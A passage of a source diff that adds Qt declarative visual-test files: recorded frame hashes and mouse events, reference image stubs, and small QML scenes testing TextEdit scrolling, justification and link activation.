+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6288
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6304
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6320
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6336
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6352
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6368
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6384
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6400
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6416
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+    Frame {
+        msec: 6432
+        hash: "ee9cd90fbe594efb411315a97b702a40"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png
new file mode 100644
index 0000000..7d0d0ae
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png
new file mode 100644
index 0000000..7d612bf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.1.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml
new file mode 100644
index 0000000..8c7e380
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/linkActivated.qml
@@ -0,0 +1,191 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "linkActivated.0.png"
+    }
+    Frame {
+        msec: 32
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 48
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 64
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 80
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 96
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 112
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 128
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 144
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 160
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 176
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 192
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 208
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 224
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 240
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Frame {
+        msec: 256
+        hash: "53d97d0966197ea41364511dea13752f"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 21; y: 13
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 272
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Frame {
+        msec: 288
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Frame {
+        msec: 304
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 22; y: 11
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 320
+        hash: "9482227cbc77e9083218c1452e8644d8"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 23; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 23; y: 10
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 336
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 352
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 368
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 384
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 400
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 416
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 432
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 448
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 464
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 480
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 496
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 512
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 528
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 544
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 560
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 576
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 592
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+    Frame {
+        msec: 608
+        hash: "29c47cec5d015e6cab0762c3db0fa714"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml
new file mode 100644
index 0000000..6913fdd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/flickableEdit.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+Flickable {
+    width: 200
+    height: 50
+    contentWidth: 400
+
+    Column {
+        anchors.fill: parent
+
+        TextEdit {
+            selectByMouse: true
+            text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+        }
+        TextEdit {
+            selectByMouse: false
+            text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+        }
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml
new file mode 100644
index 0000000..4aeb58c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+    width: 450
+    height: 250
+
+    TestTextEdit {
+        anchors.fill: parent
+        anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 }
+        wrapMode: Text.Wrap
+        horizontalAlignment: Text.AlignJustify
+
+        text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus."
+
+        Rectangle {
+            anchors.fill:  parent
+            color: "transparent"
+            border.color:  "red"
+        }
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml
new file mode 100644
index 0000000..177d475
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Rectangle{
+    width: 100
+    height: 100
+    TextEdit{
+        text: '<a href="clicked">Click Me</a> '
+        onLinkActivated: txt.text=link;
+    }
+    Text{
+        id: txt
+        y:50
+        text: "unknown"
+    }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png
new file mode 100644
index 0000000..fc34b1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.0.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png
new file mode 100644
index 0000000..fc34b1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.1.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png
new file mode 100644
index 0000000..fc34b1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.2.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png
new file mode 100644
index 0000000..fb2c90b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.3.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png
new file mode 100644
index 0000000..fb2c90b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png
new file mode 100644
index 0000000..e2231ff
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml
new file mode 100644
index 0000000..790dffa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml
@@ -0,0 +1,1039 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+    Frame {
+        msec: 0
+    }
+    Frame {
+        msec: 16
+        image: "qtbug-15818.0.png"
+    }
+    Frame {
+        msec: 32
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 48
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 64
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 80
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 96
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 112
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 128
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 144
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 160
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 176
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 192
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 208
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 224
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 240
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 256
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 272
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 288
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 304
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 320
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 336
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 352
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 368
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 384
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 400
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 416
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 432
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 448
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 464
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 480
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 496
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 512
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 528
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 544
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 560
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 576
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 592
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 608
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 624
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 640
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 656
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 672
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 688
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 704
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 720
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 736
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 752
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 768
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 784
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 800
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 816
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 832
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 848
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 864
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 880
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 26; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 896
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 912
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 928
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 27; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 27; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 944
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 960
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 976
+        image: "qtbug-15818.1.png"
+    }
+    Frame {
+        msec: 992
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 4
+        button: 1
+        buttons: 1
+        x: 27; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1008
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1024
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1040
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1056
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1072
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1088
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1104
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 27; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1120
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1136
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1152
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1168
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1184
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1200
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1216
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1232
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1248
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1264
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1280
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1296
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1312
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1328
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1344
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1360
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1376
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1392
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1408
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1424
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1440
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1456
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1472
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1488
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1504
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1520
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1536
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1552
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1568
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1584
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1600
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1616
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1632
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1648
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1664
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1680
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1696
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1712
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1728
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1744
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1760
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1776
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Frame {
+        msec: 1792
+        hash: "8833dfac6aae78ce1309222cc4438e6f"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 43; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1808
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1824
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1840
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1856
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1872
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1888
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 43; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1904
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1920
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 1936
+        image: "qtbug-15818.2.png"
+    }
+    Frame {
+        msec: 1952
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 4
+        button: 1
+        buttons: 1
+        x: 43; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1968
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 1984
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2000
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2016
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2032
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2048
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2064
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 43; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2080
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2096
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2112
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2128
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2144
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2160
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2176
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2192
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2208
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2224
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2240
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2256
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2272
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2288
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2304
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2320
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2336
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2352
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2368
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2384
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2400
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2416
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2432
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2448
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2464
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2480
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2496
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2512
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2528
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2544
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2560
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2576
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2592
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2608
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2624
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2640
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2656
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2672
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Frame {
+        msec: 2688
+        hash: "270462ec02bce658757e0ea4fb2136b1"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 54; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2704
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2720
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2736
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2752
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2768
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2784
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 55; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 55; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2800
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2816
+        hash: "0a63463fc1004efffd15f9524bcf3a29"
+    }
+    Frame {
+        msec: 2832
